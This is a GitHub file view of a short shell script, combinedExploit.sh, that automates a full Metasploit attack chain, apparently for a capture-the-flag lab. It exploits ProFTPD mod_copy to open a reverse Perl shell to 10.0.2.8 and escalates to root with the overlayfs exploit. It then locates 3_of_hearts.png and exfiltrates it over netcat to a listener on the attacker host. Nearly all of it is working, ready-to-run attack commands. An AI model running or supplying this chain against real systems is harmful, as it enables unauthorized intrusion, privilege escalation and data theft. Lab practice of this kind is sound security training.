-
Notifications
You must be signed in to change notification settings - Fork 1
Expand file tree
/
Copy pathcombinedExploit.sh
More file actions
executable file
·8 lines (5 loc) · 992 Bytes
/
combinedExploit.sh
File metadata and controls
executable file
·8 lines (5 loc) · 992 Bytes
1
2
3
4
5
6
7
8
#This is a long string msfconsole command that executes an end to end attack
nc -l -p 1234 > 3_of_hearts.png &
/usr/bin/msfconsole -q -x "echo -----we are going to exploit port 21-----;echo;sleep 5; use exploit/unix/ftp/proftpd_modcopy_exec;set rhost $TARGET;set sitepath /var/www/html;set payload cmd/unix/reverse_perl;set lhost 10.0.2.8;set lport 4567; run -j;echo -----shell is in the bacground-----;sleep 2;sessions -i 1 -c whoami;sleep 2;echo -----we need to escalate our privileges-----;echo;sleep 3; use exploit/linux/local/overlayfs_priv_esc;set target 0;set session 1;set lhost 10.0.2.8;set lport 5678;run -j;sleep 60; sessions -i 2 -c 'whoami';echo -----we have root-----;sleep 2; echo -----now we need the file-----;sleep 3;sessions -i 2 -c 'find / -name 3_of_hearts.png'; echo ----then exfil the file through nc-----;sleep 3;sessions -i 2 -c 'nc 10.0.2.8 1234 < /lost+found/3_of_hearts.png';sleep 15; echo ----finished exfilLEAVING------;exit -y"
sleep 5
eog 3_of_hearts.png &